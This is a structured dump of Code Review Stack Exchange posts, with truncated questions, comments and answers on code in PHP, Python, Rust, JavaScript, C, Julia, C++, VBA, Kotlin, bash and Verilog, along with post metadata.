"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-17T06:28:46.657",
"Id": "264138",
"Score": "1",
"Tags": [
"python",
"python-3.x",
"programming-challenge"
],
"Title": "Permuted multiples in python"
} | 264138 |
<p>Here is some php code which i think is optimized but still want to optimize it more but not sure how to do it.</p>
<pre><code><?php
$result = curl_exec($ch); // here i get a json response from a curl.
$result = json_decode($result, TRUE);
$result = arrangeData($result, $app, $currentSite);
$app->exit($result)... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-17T18:15:30.970",
"Id": "521686",
"Score": "2",
"body": "Welcome to CR! What do you mean by \"optimization\" exactly? Is there a performance problem? Do you mean optimizing for readability? Easier to maintain? What does the code do at ... | [] | {
"AcceptedAnswerId": null,
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-17T10:19:28.130",
"Id": "264143",
"Score": "1",
"Tags": [
"performance",
"php",
"memory-optimization"
],
"Title": "PHP SCRIPT OPTIMIZATION OF METHODS"
} | 264143 |
<p>Below is my attempt at the challenge found <a href="https://github.com/donnemartin/interactive-coding-challenges/blob/master/graphs_trees/graph_build_order/build_order_challenge.ipynb" rel="nofollow noreferrer">here</a>. The challenge is "Find a build order given a list of projects and dependencies." Alrea... | [] | [
{
"body": "<p><strong>"Pythonicness"</strong></p>\n<p>The code is easy to read and understandable - a good start.</p>\n<ol>\n<li>Remove <code>(object)</code> when declaring classes, it is not needed :)</li>\n<li>Use type annotations!</li>\n</ol>\n<pre><code>from typing import List\n\ndef __init__(self... | {
"AcceptedAnswerId": "264148",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-17T11:03:54.547",
"Id": "264145",
"Score": "0",
"Tags": [
"python-3.x",
"graph"
],
"Title": "Build order from a dependency graph (Python)"
} | 264145 |
<p>A simple implementation of the Observer pattern in rust. The Observable constructor (<code>::new</code>) is called with a subscription function which will be called every time an observer subscribes.</p>
<p>The subscription function must return a cleanup function which is defined by the using code.</p>
<p>An observe... | [] | [
{
"body": "<p>Firstly, this doesn't appear to follow the Observer pattern. Allow me to quote Wikipedia:</p>\n<blockquote>\n<p>The observer pattern is a software design pattern in which an object,\nnamed the subject, maintains a list of its dependents, called\nobservers, and notifies them automatically of any st... | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-17T15:34:43.197",
"Id": "264147",
"Score": "1",
"Tags": [
"reinventing-the-wheel",
"rust",
"observer-pattern"
],
"Title": "Observer pattern in Rust"
} | 264147 |
<p>So I decided to implement a basic event system in JavaScript.</p>
<p>My goal was to support the following functions:</p>
<p><code>on</code> - allows the user to register a handler on the event system that fires until it's removed.</p>
<p><code>once</code> - same as above, but only fires the first time, then removes ... | [] | [
{
"body": "<p>I couldn't find any obvious bugs, so that's good!</p>\n<p>For improvements, I have a few comments. It's mostly about readability, and of course it's just my subjective experience when I read the code:</p>\n<ul>\n<li>If handler is not a function, you should throw an error. It's obviously a mistake.... | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-17T23:11:00.220",
"Id": "264152",
"Score": "3",
"Tags": [
"javascript",
"event-handling"
],
"Title": "Javascript (ES11) Event System implementation"
} | 264152 |
<p>I have a comparison function for comparing two points in 2 (or more) dimensions based on the angle of each point in standard polar coordinates. In other words, a point <code>a</code> should compare less than a point <code>b</code> if the angle through the origin from the +x axis to <code>a</code> is less than the c... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-18T03:46:33.157",
"Id": "521699",
"Score": "3",
"body": "I'm not sharp enough with C to give a proper response, but a lot of comparison consumers wouldn't require you to return strictly {-1 | 0 | 1}; you could save yourself some `if` s... | [
{
"body": "<h2 id=\"early-returns\">Early returns</h2>\n<p>You have a bunch of them. I'm all for them (not everyone is), but you're inconsistent in your <code>else</code> style after an early return. Sometimes you do this:</p>\n<pre><code> if(a[1] == 0){\n return a[0] > 0 ? 1 : 5;\n }else // ...... | {
"AcceptedAnswerId": "264186",
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-18T01:26:38.217",
"Id": "264154",
"Score": "3",
"Tags": [
"c",
"coordinate-system",
"callback",
"cyclomatic-complexity"
],
"Title": "Simplify 2D point angle comparator"
} | 264154 |
<p>So, I wrote this function to sort three numbers in Julia. Any feedback on readability, performance, and Julian-ness would be appreciated.</p>
<pre class="lang-julia prettyprint-override"><code>function sort_asc(a, b, c)
# defined in function so as not to overwrite Base.minmax
minmax(x, y) = ifelse(x < y, ... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-19T13:37:10.167",
"Id": "521756",
"Score": "0",
"body": "There's no need to swap `x` and `y` if they're equal, so I'd prefer less-or-equal instead of less-than."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-... | [
{
"body": "<p>As it turns out</p>\n<pre class=\"lang-julia prettyprint-override\"><code>function sort_asc(a, b, c)\n l1, h1 = minmax(a, b)\n lo, h2 = minmax(l1, c)\n md, hi = minmax(h1, h2)\n return lo, md, hi\nend\n</code></pre>\n<p>results in the exact same native assembly instructions on my machi... | {
"AcceptedAnswerId": "264173",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-18T11:30:10.017",
"Id": "264158",
"Score": "2",
"Tags": [
"algorithm",
"sorting",
"julia"
],
"Title": "Sort three numbers"
} | 264158 |
<p>This is a follow-up question for <a href="https://codereview.stackexchange.com/q/263729/231235">Tests for the operators of image template class in C++</a> and <a href="https://codereview.stackexchange.com/q/263956/231235">A recursive_transform template function for the multiple parameters cases in C++</a>. I appreci... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-22T03:05:56.557",
"Id": "521890",
"Score": "1",
"body": "I’ve commented this in an answer to you before, include only the include files you actually need in that source file. Your `basic_functions.h` includes everything that you never ... | [
{
"body": "<pre><code>#ifndef M_PI\n #define M_PI 3.14159265358979323846\n#endif\n</code></pre>\n<p>Don't use <code>#define</code>, and since you marked this as C++20 <a href=\"https://en.cppreference.com/w/cpp/numeric/constants\" rel=\"nofollow noreferrer\">use the constants supplied in the standard library... | {
"AcceptedAnswerId": "264226",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-18T18:48:12.400",
"Id": "264161",
"Score": "0",
"Tags": [
"c++",
"image",
"template",
"lambda",
"c++20"
],
"Title": "Image pixelwise operation function with multiple inpu... | 264161 |
<p>I have a macro I have been using to generate daily fantasy (dfs) lineups for soccer matches. I would like to know where I can speed up my code so I can run more simulations.</p>
<p>Briefly, I have a worksheet in which I try to 'simulate' individual scores for each player in a match (e.g. "ITAvENG" in the c... | [] | [
{
"body": "<p>Without knowing what <code>SolverReset</code>, <code>SolverAdd</code>, <code>SolverOK</code>, <code>SolverSolve</code>, and <code>Calculate</code> are doing specifically, there are limits to how much optimization can be suggested. That said, there are some general comments that may be useful tha... | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-18T19:44:16.227",
"Id": "264162",
"Score": "2",
"Tags": [
"performance",
"beginner",
"vba",
"excel"
],
"Title": "Daily Fantasy (DFS) Lineup Generator in Excel VBA"
} | 264162 |
<p>Before start, I'd like to give some context.</p>
<p>A couple of years ago I implemented an autocompletion function for one particular case: <a href="https://github.com/innogames/serveradmin/blob/master/zsh-completion/adminapi#L13" rel="nofollow noreferrer">querying all hosts from database</a>.</p>
<p>It has a couple... | [] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-18T21:35:36.613",
"Id": "264165",
"Score": "1",
"Tags": [
"autocomplete",
"zsh"
],
"Title": "Extension for original zsh _hosts completion"
} | 264165 |
<p>ArchiveInputStream is from apache-commons compress. it is an InputStream. <code>nextEntry</code> is the only method for traversing the stream i've found the while loop is IDE converted from apache docs.</p>
<pre><code>fun ArchiveInputStream.forEachEntry(doThis: (ArchiveEntry) -> Unit) {
var e: ArchiveEntry?
... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-19T18:38:37.663",
"Id": "521772",
"Score": "3",
"body": "Welcome to Code Review! I rolled back your last edit. After getting an answer you are not allowed to change your code anymore. This is to ensure that answers do not get invalidat... | [
{
"body": "<p>You basically created your own <code>forEach</code>.</p>\n<p>More idiomatic way is to provide Iterator/Iterable interfaces. Then you can use built-in functions like <code>forEach</code>, <code>filter</code> and <code>map</code>.</p>\n<p>Otherwise your implementation seems fine. Maybe I'd shorten y... | {
"AcceptedAnswerId": "264184",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-19T03:53:31.757",
"Id": "264168",
"Score": "0",
"Tags": [
"kotlin"
],
"Title": "Iterating through ArchiveInputStream or structures having a 'next'-accessor"
} | 264168 |
<p>I have a simple ZeroMQ client from <a href="https://gist.github.com/wonkoderverstaendige/7521416" rel="nofollow noreferrer">zmqClient</a>. I have refactored the code and done the following things.</p>
<ol>
<li><p>Created a class ZmqServer and added member variables and methods.</p>
</li>
<li><p>Added a Server thread... | [] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-19T06:11:51.360",
"Id": "264170",
"Score": "0",
"Tags": [
"c++11",
"asynchronous",
"pthreads",
"zeromq"
],
"Title": "Refactoring a simple ZeroMQ Server"
} | 264170 |
<p>Very simple question. Imagine are designing library API, where you want to provide way to switch boolean flag. Typically to disable or enable a functionality. For argument's sake, let's say it's enabling/disabling sounds and I will be using kotlin in my code samples, but language doesn't really matter. I see 2 ways ... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-19T11:55:52.850",
"Id": "521742",
"Score": "0",
"body": "Code Review requires concrete code from a project. Pseudocode, stub code, hypothetical code are outside the scope of this site. Please [**follow the tour**](https://CodeReview.St... | [
{
"body": "<blockquote>\n<p>One feedback I got here is, that in languages, that are not type-safe, this can be broken/unpredictable by passing non-boolean type.</p>\n</blockquote>\n<p>In such languages, you should have a type check at the beginning of the method and throw an exception if it's invalid.</p>\n<hr ... | {
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-19T10:16:33.733",
"Id": "264171",
"Score": "0",
"Tags": [
"api",
"kotlin"
],
"Title": "API for general boolean flag set"
} | 264171 |
<p>I have the python script that creates a sqlite database and fills it with data (originally coming from a json file). At the time I execute the code below, my <code>word</code> table has about 400 000 entries.</p>
<pre><code>con = sqlite3.connect("words.db")
cur = con.cursor()
form_of_words_to_add: "li... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-19T11:11:04.710",
"Id": "521732",
"Score": "6",
"body": "Add indexes on word and canonical_form."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-19T11:23:23.360",
"Id": "521734",
"Score": "0",
"... | [
{
"body": "<p>Other than @PavloSlavynskyy's correct recommendation to add indices:</p>\n<ul>\n<li>Whereas autocommit is <a href=\"https://docs.python.org/3/library/sqlite3.html#sqlite3-controlling-transactions\" rel=\"nofollow noreferrer\">off by default for the Python library</a>, I doubt your code is doing wh... | {
"AcceptedAnswerId": "264182",
"CommentCount": "7",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-19T10:19:00.067",
"Id": "264172",
"Score": "4",
"Tags": [
"python",
"performance",
"sql",
"sqlite"
],
"Title": "Optimizing the insertion of 400 000 records in sqlite"
} | 264172 |
<p>To divide 9 persons into 3 groups, when the ordering of groups is not important can be done in</p>
<p>(9C3 * 6C3 * 3C3) / (3!) = 280 ways</p>
<p>Here, we divide by (3!) because the ordering of 3 groups is not important</p>
<h2 id="what-i-did-jo81">What I did?</h2>
<ol>
<li>Gather all the permutations from the given ... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-21T05:00:33.990",
"Id": "521829",
"Score": "0",
"body": "I have absolutely no idea what the program is supposed to do. Finding some kind of combinations is as far as I understood. The rest is in fog. Do you have any formal specificatio... | [
{
"body": "<p>The problem is metaphorically to assign 9 persons to 9 seats (each person their own seat). The seats come in groups of 3.</p>\n<p>There are 362880 seating arrangements, but only 280 canonical ones because:</p>\n<ul>\n<li><p>A) Reseating the persons within one group doesn't essentially change\nthe ... | {
"AcceptedAnswerId": "264242",
"CommentCount": "8",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-19T11:06:41.567",
"Id": "264178",
"Score": "2",
"Tags": [
"javascript",
"algorithm",
"combinatorics"
],
"Title": "In how many different ways can a group of 9 people be divided in... | 264178 |
<p>Am writing a bash function to run <code>rsync</code>, with possibility of using <code>--dry-run</code> option and <code>--exec</code> option. Need some criticism improvements and additional checks.</p>
<p>Might not make much sense for the user to specify both <code>--dry-run</code> and <code>--exec</code>. I would... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-19T12:10:23.047",
"Id": "521746",
"Score": "1",
"body": "What does your script do?"
}
] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-19T11:21:30.433",
"Id": "264180",
"Score": "0",
"Tags": [
"bash",
"optional"
],
"Title": "Bash function with dry-run and exec options"
} | 264180 |
<p>I'm going to start out by saying this is the 1st python program I have ever written and have no real background in the language so my code is probably pretty rough. Take it easy on me!</p>
<p>When I wrote this it works fine for a small number of tickers but when I have a file with 6k+ it is very slow. Now I know the... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-19T18:09:43.483",
"Id": "521767",
"Score": "1",
"body": "Just to be sure (in addition to your remark), you're aware that, at best, ``async`` will still be single-threaded, right? It's definitely something worth learning, but it's prima... | [
{
"body": "<p>After doing some reading and taking the advice of FMc, I decided against async for what I was doing.</p>\n<p>I ended up with multi-processing</p>\n<pre><code>pool = multiprocessing.Pool()\n\n# input list\ninputs = read_ticker_file()\n# pool object with number of element\npool = multiprocessing.Poo... | {
"AcceptedAnswerId": null,
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-19T14:16:33.607",
"Id": "264185",
"Score": "3",
"Tags": [
"python",
"beginner",
"asynchronous",
"asyncio"
],
"Title": "Converting python code to async calls"
} | 264185 |
<p>I'm coding this program that allows you to encrypt files using vernam cipher in C language. I would be glad if you could inspect my code and tell me if I can make some improvements to it or if there are any error.</p>
<p>The request they gave me is:</p>
<blockquote>
<p><em>The goal is to develop a simple application... | [] | [
{
"body": "<blockquote>\n<p>if I can make some improvements to it or if there are any error.</p>\n</blockquote>\n<p><strong>Lack of error checking</strong></p>\n<p><code>fopen(), malloc(), ftell(), fread()</code>, (all I/O functions), etc. deserve to have their return values checked for errors.</p>\n<p>In parti... | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-19T16:39:27.527",
"Id": "264187",
"Score": "2",
"Tags": [
"c",
"file",
"vigenere-cipher",
"encryption"
],
"Title": "encrypt files using a variant of Vernam Cipher in C language"
... | 264187 |
<p>I try to solve some old Codeforces questions. The problem is;</p>
<blockquote>
<p>Petya once wrote a sad love song and shared it to Vasya. The song is a
string consisting of lowercase English letters. Vasya made up q
questions about this song. Each question is about a subsegment of the
song starting from the l-th le... | [] | [
{
"body": "<h3 id=\"algorithm-snpf\">Algorithm</h3>\n<p>The idea, at a first glance, is to calculate some index on a string to make all queries as fast as possible.\nThe second glance gives that <span class=\"math-container\">\\$length(l,r)=length(0,r)-length(0,l-1)\\$</span>. Just precalculate an array of <spa... | {
"AcceptedAnswerId": "264216",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-19T19:03:48.450",
"Id": "264189",
"Score": "0",
"Tags": [
"c++",
"time-limit-exceeded",
"dynamic-programming"
],
"Title": "Calculate sum of a substring"
} | 264189 |
<p>I've been grinding some Leetcode for an interview coming up and just completed Square Spiral in Javascript.</p>
<p>Looking for feedback on performance. This ranked faster than 58% of submissions, would there be anyway to increase the speed using a similar implementation to what I have here?</p>
<p><a href="https://i... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-22T04:22:22.063",
"Id": "521891",
"Score": "2",
"body": "Want to increase performance remove the JSON (super slow) copy hack. There is no reason to copy the array in this code. Nor should you ever use JSON for anything but data transpo... | [
{
"body": "<h2 id=\"review-q1p6\">REVIEW</h2>\n<p>As a solution it is simple and performant which is the aim of all good code.</p>\n<p>However there are many style issues likely due to inexperience</p>\n<h2 id=\"code-style-review-9auu\">Code style review</h2>\n<ul>\n<li><p>Way too many comments. Many of them s... | {
"AcceptedAnswerId": "264307",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-19T21:14:21.907",
"Id": "264193",
"Score": "1",
"Tags": [
"javascript",
"interview-questions"
],
"Title": "Square Spiral Matrix in Javascript"
} | 264193 |
<p>I'm working on a simple <a href="https://en.wikipedia.org/wiki/Leaky_bucket" rel="nofollow noreferrer">Leaky Bucket algorithm</a>.
I have found a lot of samples on the internet, but something always bothers me.
Most of them use Collections and DateTime to track current actions and calculate the time of a Delay.</p>
... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-20T21:43:56.570",
"Id": "521819",
"Score": "0",
"body": "What is .NET version?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-21T23:13:11.747",
"Id": "521881",
"Score": "0",
"body": "The code i... | [] | {
"AcceptedAnswerId": null,
"CommentCount": "7",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-20T01:12:35.777",
"Id": "264195",
"Score": "3",
"Tags": [
"c#",
"performance",
"algorithm"
],
"Title": "Simple Leaky Bucket Async and Low Footprint"
} | 264195 |
<p>I am computing pairwise Euclidean distances for 3-D vectors representing particle positions in a periodic system. The minimum image convention is applied for each periodic boundary such that a particle only considers the <em>nearest image</em> of another particle when computing the distance.</p>
<p>This code is part... | [] | [
{
"body": "<p>I think you could move the <code>where</code> function out of the loop:</p>\n<pre><code>dists = np.empty((3, a.shape[1] * b.shape[1]))\n\nfor i in range(3):\n dists[i, :] = cdist(a[i, :].reshape(-1, 1),\n b[i, :].reshape(-1, 1), 'cityblock').reshape(-1)\n\ndists = np.wher... | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-20T02:24:13.987",
"Id": "264196",
"Score": "2",
"Tags": [
"python-3.x",
"numpy",
"scipy"
],
"Title": "Applying Minimum Image Convention in Python"
} | 264196 |
<pre><code><!DOCTYPE html> <!--Declare the doctype as the html standard of HTML 5-->
<html lang="en-us"> <!--Lang Attribute to declare the language of a webpage-->
<head> <!--Every html doc needs a head which contains important information for viewing the code on dif... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-20T09:17:33.463",
"Id": "521786",
"Score": "0",
"body": "A small remark about typographical conventions: Don't use two hyphens as a parenthetic dash. It should be either an en dash (with spaces around) or a em dash (without spaces). Ei... | [
{
"body": "<p>HTML isn't intended for humans to read (but still it can be read), so that's more of a training, not real work. Real production HTML is better stripped of comments and spaces, minified and zipped to save network traffic. But if you need it to be readable...</p>\n<h3 id=\"use-validator-aqag\">Use v... | {
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-20T03:43:25.970",
"Id": "264197",
"Score": "2",
"Tags": [
"html",
"html5"
],
"Title": "HTML page with mental health tips"
} | 264197 |
<p>Here is the improved code</p>
<pre><code>#include <iostream>
#include <sstream>
#include <string>
#include <random>
#include <vector>
#include <iomanip>
enum class ending
{
win ,
lose ,
tie
};
enum class States
{
Human ,
robot ,
blank
};
enum class comm... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-09-16T00:06:18.530",
"Id": "528556",
"Score": "0",
"body": "My first impression is that many of the things you list under \"functions\" ought to be members. Don't pass in a vector of states... make it a member function _of the BOARD clas... | [
{
"body": "<p>It's good to see the improvements you've made to your code! There's still more that can be done better though, some of which I'll list below.</p>\n<h1>Use a consistent code style</h1>\n<p>The style of your code has lots of inconsistencies. Some of them are related to the use of spaces (especially ... | {
"AcceptedAnswerId": "268031",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-20T06:11:25.217",
"Id": "264200",
"Score": "5",
"Tags": [
"c++",
"algorithm",
"game",
"vectors",
"connect-four"
],
"Title": "C++ Connect-four game with little AI (Version... | 264200 |
<p>I solved <a href="https://projecteuler.net/problem=58" rel="nofollow noreferrer">problem 58</a> in Project Euler and I am happy with my solution. However, are there any areas where I can improve my code here as I am learning how to write good python code.</p>
<p>Prompt:</p>
<blockquote>
<p>Starting with 1 and spiral... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-20T08:16:06.510",
"Id": "521785",
"Score": "0",
"body": "What is funcs module?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-20T09:57:13.843",
"Id": "521787",
"Score": "0",
"body": "@PavloSlav... | [
{
"body": "<h3 id=\"identifiers-consistency-6w7i\">Identifiers consistency</h3>\n<p><a href=\"https://www.python.org/dev/peps/pep-0008/\" rel=\"nofollow noreferrer\">PEP8</a> recommends snake_case, not camelCase for functions and variables; <code>isPrime</code> breaks this. Moreover, PEP8 recommends consistency... | {
"AcceptedAnswerId": "264214",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-20T07:13:53.460",
"Id": "264201",
"Score": "1",
"Tags": [
"python-3.x",
"programming-challenge"
],
"Title": "Ratio of primes in square diagonals | Problem 58 Project Euler"
} | 264201 |
<p>This is my 1st Python program I've actually written and I have little to no background in the language. I just figured I could learn and do something that interested me at the same time.</p>
<p>I'm not a book learner. I can't just sit down and read a bunch of technical documents and stuff like that so I'm sure a lot... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-20T15:35:51.680",
"Id": "521797",
"Score": "0",
"body": "Would be better to use yahoo finances api rather than scraping https://github.com/mxbi/yahoo-finance-api/blob/master/DOCUMENTATION.md"
},
{
"ContentLicense": "CC BY-SA 4.... | [
{
"body": "<p>For <code>get_exp_dates</code> - and everything else here - Selenium is unneeded. The dates you seek are not based on AJAX etc., but baked right into the HTML:</p>\n<pre class=\"lang-html prettyprint-override\"><code><select class="Fz(s) H(25px) Bd Bdc($seperatorColor)" data-reactid=&... | {
"AcceptedAnswerId": null,
"CommentCount": "7",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-20T12:07:03.067",
"Id": "264206",
"Score": "2",
"Tags": [
"python",
"performance",
"beginner",
"python-3.x",
"web-scraping"
],
"Title": "Yahoo finance option chain scraper"
} | 264206 |
<p>This ip core simply generates a sine wave according a .mem file. It is required to specify rom depth equal to number of the sine points, the init file and the data size contained in the file. The phase offset and frequency are used as control signals.</p>
<p>It also houses the ROM module as well as the ip core and R... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-08-03T08:45:34.690",
"Id": "524713",
"Score": "4",
"body": "Incorporating advice from an answer into the question violates the question-and-answer nature of this site. You could post improved code as a new question, as an answer, or as a... | [
{
"body": "<p>When I compile your code on some simulators, I see warning messages which could indicate potential problems. For example, with the Cadence simulator:</p>\n<pre><code> accumulator[ACCUMULATOR_WIDTH : ACCUMULATOR_WIDTH_LSB] <= phase_offset_i; \n ... | {
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-20T14:46:30.537",
"Id": "264211",
"Score": "5",
"Tags": [
"verilog",
"hdl"
],
"Title": "Generate a sine wave"
} | 264211 |
<pre><code>import java.util.ArrayList;
import java.util.Arrays;
import java.util.Random;
class Student {
// Student class properties
int number;
Double grade;
// Student constructor
public Student(int index) {
Random generator = new Random();
number = index+1;
grade = generator.nextDouble()*20;
... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-20T18:54:31.897",
"Id": "521807",
"Score": "1",
"body": "You said that you don't like the ugly double grades. What are the possible grades that you are wanting? Are they supposed to be whole numbers?"
}
] | [
{
"body": "<p>This is not a full code review, but some things to start:</p>\n<ul>\n<li>Double check your indentation</li>\n<li>The properties in Student should be marked as private. It's customary in Java to always have these fields marked as private, then provide getters/setters to them. This could look like:... | {
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-20T16:43:21.767",
"Id": "264212",
"Score": "1",
"Tags": [
"java",
"beginner",
"array"
],
"Title": "Generating a number of students and assigning them"
} | 264212 |
<p>I need a function of type <code>forall (n :: Nat). RandomGen q => q -> Vec n q</code>. Obviously this is possible to do (correctly, don't just <code>repeat</code>) using <code>split</code>.</p>
<p>(Documentation links: <a href="https://hackage.haskell.org/package/fin-0.2/docs/Data-Nat.html#t:Nat" rel="nofollow... | [] | [
{
"body": "<p>I am not an expert at type level programming, but from my experience with folds I know that you can add an extra parameter to the result type to implement foldl in terms of foldr. Here is what that would look like in this case:</p>\n<pre class=\"lang-hs prettyprint-override\"><code>newtype VecBuil... | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-20T19:20:58.223",
"Id": "264217",
"Score": "1",
"Tags": [
"haskell",
"random",
"fold"
],
"Title": "Build a fixed-length vector from a recursive factory function"
} | 264217 |
<p>I'm trying to create a Collider class which will process collisions between different classes of the same base. One restriction is that I want these classes know nothing about each other, now they depend on Base and Collider classes only. Here is my code:</p>
<p>collidees.h</p>
<pre><code>#pragma once
#include &quo... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-20T23:03:58.967",
"Id": "521822",
"Score": "1",
"body": "How can you test for collision between objects of two different types, if they don't know about each other? If the `Collider` class has the actual work, and thus knows about all... | [
{
"body": "<p>Just one coding tip:</p>\n<p><code>virtual void visit(Collider& c) override </code></p>\n<p><a href=\"https://github.com/isocpp/CppCoreGuidelines/blob/master/CppCoreGuidelines.md#Rh-override\" rel=\"nofollow noreferrer\">Use <em>exactly one of</em> <code>virtual</code> or <code>override</code>... | {
"AcceptedAnswerId": "264233",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-20T20:13:33.247",
"Id": "264221",
"Score": "3",
"Tags": [
"c++",
"visitor-pattern"
],
"Title": "Collider class using some kind of visitor pattern"
} | 264221 |
<p>I'm trying to make a safe builder using Kotlin that can be partially built and then copied, perhaps multiple times, to avoid repetition. Note that the properties that are reused aren't always the same - I've reused <code>name</code> and <code>real</code> here, but sometimes <code>age</code> and <code>real</code> or ... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-20T20:58:32.793",
"Id": "521813",
"Score": "0",
"body": "Is the compile-time check to make sure all properties are initialized **exactly once** a strict requirement? What's the rationale behind this?"
},
{
"ContentLicense": "CC... | [
{
"body": "<p>I have no problem at all with the essence of your idea (safe builders) but I very much dislike the code:</p>\n<ol>\n<li>It requires as many generic parameters as there are properties, practically inviting the need/desire for generic generic (not a typo) parameters or for code generation.</li>\n<li... | {
"AcceptedAnswerId": "264261",
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-20T20:32:12.840",
"Id": "264222",
"Score": "-1",
"Tags": [
"kotlin",
"fluent-interface"
],
"Title": "Instantiating Person objects using the builder pattern"
} | 264222 |
<p>This is a script that I've written for personal use, and to educate myself. The script is a bit comment heavy to help future me remember all the details & design choices made at the time of writing.</p>
<p>The use case is simply to synchronize/copy files to an AWS S3 bucket using AWS CLI. There's a separate CDK ... | [] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-20T22:35:47.703",
"Id": "264223",
"Score": "4",
"Tags": [
"bash"
],
"Title": "Shell script to backup local files to public cloud"
} | 264223 |
<p>This code models two vehicle types, with a method to accept a string representing a boost to change speed.</p>
<ul>
<li>How can I optimize performance in inheritance child class?</li>
<li>How can I reduce the code inside BMW class?</li>
<li>How can I use additional variables to reduce the child class code?</li>
</ul... | [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-22T16:55:01.823",
"Id": "521952",
"Score": "1",
"body": "Welcome to Code Review! I [changed the title](https://codereview.stackexchange.com/revisions/264228/3) so that it describes what the code does per [site goals](https://codereview... | [
{
"body": "<h1 id=\"suggestions-cr32\">Suggestions</h1>\n<p>Before addressing the main question, there are some suggestions to mention first.</p>\n<h2 id=\"s.o.l.i.d.principles-cgyu\">S.O.L.I.D. principles</h2>\n<p>If you aren't already familiar with them, look into the <a href=\"https://www.digitalocean.com/co... | {
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-21T06:01:19.133",
"Id": "264228",
"Score": "-1",
"Tags": [
"performance",
"php",
"object-oriented",
"inheritance"
],
"Title": "Simple Vehicle speed representation"
} | 264228 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.